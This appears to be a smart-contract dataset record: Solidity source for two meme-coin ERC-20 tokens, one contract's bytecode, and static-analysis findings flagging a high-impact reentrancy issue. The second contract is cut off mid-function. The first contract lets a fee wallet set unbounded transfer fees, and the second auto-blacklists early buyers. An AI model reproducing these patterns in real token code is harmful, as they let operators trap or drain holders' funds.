function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Payload is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0xe4C949f213bE82d151B5a519e64897F9B8e7ac88);
address payable private _feeAddrWallet2 = payable(0xe4C949f213bE82d151B5a519e64897F9B8e7ac88);
string private constant _name = "Interesting Payload Number";
string private constant _symbol = "420T";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610332578063c3c8cd8014610352578063c9567bf914610367578063cfe81ba01461037c578063dd62ed3e1461039c57600080fd5b8063715018a614610288578063842b7c081461029d5780638da5cb5b146102bd57806395d89b41146102e5578063a9059cbb1461031257600080fd5b8063273123b7116100e7578063273123b7146101f5578063313ce567146102175780635932ead1146102335780636fc3eaec1461025357806370a082311461026857600080fd5b806306fdde0314610124578063095ea7b31461017c57806318160ddd146101ac57806323b872dd146101d557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601a81527f496e746572657374696e67205061796c6f6164204e756d62657200000000000060208201525b60405161017391906118aa565b60405180910390f35b34801561018857600080fd5b5061019c61019736600461173b565b6103e2565b6040519015158152602001610173565b3480156101b857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610173565b3480156101e157600080fd5b5061019c6101f03660046116fb565b6103f9565b34801561020157600080fd5b5061021561021036600461168b565b610462565b005b34801561022357600080fd5b5060405160098152602001610173565b34801561023f57600080fd5b5061021561024e36600461182d565b6104b6565b34801561025f57600080fd5b506102156104fe565b34801561027457600080fd5b506101c761028336600461168b565b61052b565b34801561029457600080fd5b5061021561054d565b3480156102a957600080fd5b506102156102b8366004611865565b6105c1565b3480156102c957600080fd5b506000546040516001600160a01b039091168152602001610173565b3480156102f157600080fd5b506040805180820190915260048152630d0c8c1560e21b6020820152610166565b34801561031e57600080fd5b5061019c61032d36600461173b565b610618565b34801561033e57600080fd5b5061021561034d366004611766565b610625565b34801561035e57600080fd5b506102156106c9565b34801561037357600080fd5b506102156106ff565b34801561038857600080fd5b50610215610397366004611865565b610ac8565b3480156103a857600080fd5b506101c76103b73660046116c3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ef338484610b1f565b5060015b92915050565b6000610406848484610c43565b610458843361045385604051806060016040528060288152602001611a7b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f26565b610b1f565b5060019392505050565b6000546001600160a01b031633146104955760405162461bcd60e51b815260040161048c906118fd565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104e05760405162461bcd60e51b815260040161048c906118fd565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461051e57600080fd5b4761052881610f60565b50565b6001600160a01b0381166000908152600260205260408120546103f390610fe5565b6000546001600160a01b031633146105775760405162461bcd60e51b815260040161048c906118fd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106135760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161048c565b600a55565b60006103ef338484610c43565b6000546001600160a01b0316331461064f5760405162461bcd60e51b815260040161048c906118fd565b60005b81518110156106c55760016006600084848151811061068157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106bd81611a10565b915050610652565b5050565b600c546001600160a01b0316336001600160a01b0316146106e957600080fd5b60006106f43061052b565b905061052881611069565b6000546001600160a01b031633146107295760405162461bcd60e51b815260040161048c906118fd565b600f54600160a01b900460ff16156107835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107c330826b033b2e3c9fd0803ce8000000610b1f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107fc57600080fd5b505afa158015610810573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083491906116a7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561087c57600080fd5b505afa158015610890573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b491906116a7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108fc57600080fd5b505af1158015610910573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093491906116a7565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109648161052b565b6000806109796000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109dc57600080fd5b505af11580156109f0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a15919061187d565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a9057600080fd5b505af1158015610aa4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c59190611849565b600d546001600160a01b0316336001600160a01b031614610b1a5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161048c565b600b55565b6001600160a01b038316610b815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048c565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048c565b6001600160a01b038216610d095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048c565b60008111610d6b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048c565b6000546001600160a01b03848116911614801590610d9757506000546001600160a01b03838116911614155b15610f16576001600160a01b03831660009081526006602052604090205460ff16158015610dde57506001600160a01b03821660009081526006602052604090205460ff16155b610de757600080fd5b600f546001600160a01b038481169116148015610e125750600e546001600160a01b03838116911614155b8015610e3757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4c5750600f54600160b81b900460ff165b15610ea957601054811115610e6057600080fd5b6001600160a01b0382166000908152600760205260409020544211610e8457600080fd5b610e8f42601e6119a2565b6001600160a01b0383166000908152600760205260409020555b6000610eb43061052b565b600f54909150600160a81b900460ff16158015610edf5750600f546001600160a01b03858116911614155b8015610ef45750600f54600160b01b900460ff165b15610f1457610f0281611069565b478015610f1257610f1247610f60565b505b505b610f2183838361120e565b505050565b60008184841115610f4a5760405162461bcd60e51b815260040161048c91906118aa565b506000610f5784866119f9565b95945050505050565b600c546001600160a01b03166108fc610f7a836002611219565b6040518115909202916000818181858888f19350505050158015610fa2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610fbd836002611219565b6040518115909202916000818181858888f193505050501580156106c5573d6000803e3d6000fd5b600060085482111561104c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161048c565b600061105661125b565b90506110628382611219565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110bf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561111357600080fd5b505afa158015611127573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114b91906116a7565b8160018151811061116c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111929130911684610b1f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111cb908590600090869030904290600401611932565b600060405180830381600087803b1580156111e557600080fd5b505af11580156111f9573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f2183838361127e565b600061106283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611375565b60008060006112686113a3565b90925090506112778282611219565b9250505090565b600080600080600080611290876113eb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112c29087611448565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112f1908661148a565b6001600160a01b038916600090815260026020526040902055611313816114e9565b61131d8483611533565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161136291815260200190565b60405180910390a3505050505050505050565b600081836113965760405162461bcd60e51b815260040161048c91906118aa565b506000610f5784866119ba565b60085460009081906b033b2e3c9fd0803ce80000006113c28282611219565b8210156113e2575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006114088a600a54600b54611557565b925092509250600061141861125b565b9050600080600061142b8e8787876115ac565b919e509c509a509598509396509194505050505091939550919395565b600061106283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f26565b60008061149783856119a2565b9050838110156110625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048c565b60006114f361125b565b9050600061150183836115fc565b3060009081526002602052604090205490915061151e908261148a565b30600090815260026020526040902055505050565b6008546115409083611448565b600855600954611550908261148a565b6009555050565b6000808080611571606461156b89896115fc565b90611219565b90506000611584606461156b8a896115fc565b9050600061159c826115968b86611448565b90611448565b9992985090965090945050505050565b60008080806115bb88866115fc565b905060006115c988876115fc565b905060006115d788886115fc565b905060006115e9826115968686611448565b939b939a50919850919650505050505050565b60008261160b575060006103f3565b600061161783856119da565b90508261162485836119ba565b146110625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048c565b803561168681611a57565b919050565b60006020828403121561169c578081fd5b813561106281611a57565b6000602082840312156116b8578081fd5b815161106281611a57565b600080604083850312156116d5578081fd5b82356116e081611a57565b915060208301356116f081611a57565b809150509250929050565b60008060006060848603121561170f578081fd5b833561171a81611a57565b9250602084013561172a81611a57565b929592945050506040919091013590565b6000806040838503121561174d578182fd5b823561175881611a57565b946020939093013593505050565b60006020808385031215611778578182fd5b823567ffffffffffffffff8082111561178f578384fd5b818501915085601f8301126117a2578384fd5b8135818111156117b4576117b4611a41565b8060051b604051601f19603f830116810181811085821117156117d9576117d9611a41565b604052828152858101935084860182860187018a10156117f7578788fd5b8795505b838610156118205761180c8161167b565b8552600195909501949386019386016117fb565b5098975050505050505050565b60006020828403121561183e578081fd5b813561106281611a6c565b60006020828403121561185a578081fd5b815161106281611a6c565b600060208284031215611876578081fd5b5035919050565b600080600060608486031215611891578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118d6578581018301518582016040015282016118ba565b818111156118e75783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119815784516001600160a01b03168352938301939183019160010161195c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119b5576119b5611a2b565b500190565b6000826119d557634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119f4576119f4611a2b565b500290565b600082821015611a0b57611a0b611a2b565b500390565b6000600019821415611a2457611a24611a2b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461052857600080fd5b801515811461052857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c77767abee659c66866253f2a574b8de0a89ce36fa420beff9949f415afb0d864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,798 |
0xD5a0Aed1b1c76B6F8BE7e4f9B838944aDF38Dc5b
|
/**
*/
/**
https://t.me/princesslionestoken
https://twitter.com/LionesEth
ANIME SZN IS BACK!!! Princess Liones has awakened her Goddess powers and her determination for 1000x will inspire others
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PrincessLiones is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "PrincessLiones";//
string private constant _symbol = "Liones";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 11;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 18;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xa863414CcdBDC95f490d8eCeCbACB88A92D5495F);//
address payable private _marketingAddress = payable(0xa79459AeB76E892ce5E75D96888a642450157a7a);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000 * 10**9; //
uint256 public _maxWalletSize = 4000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
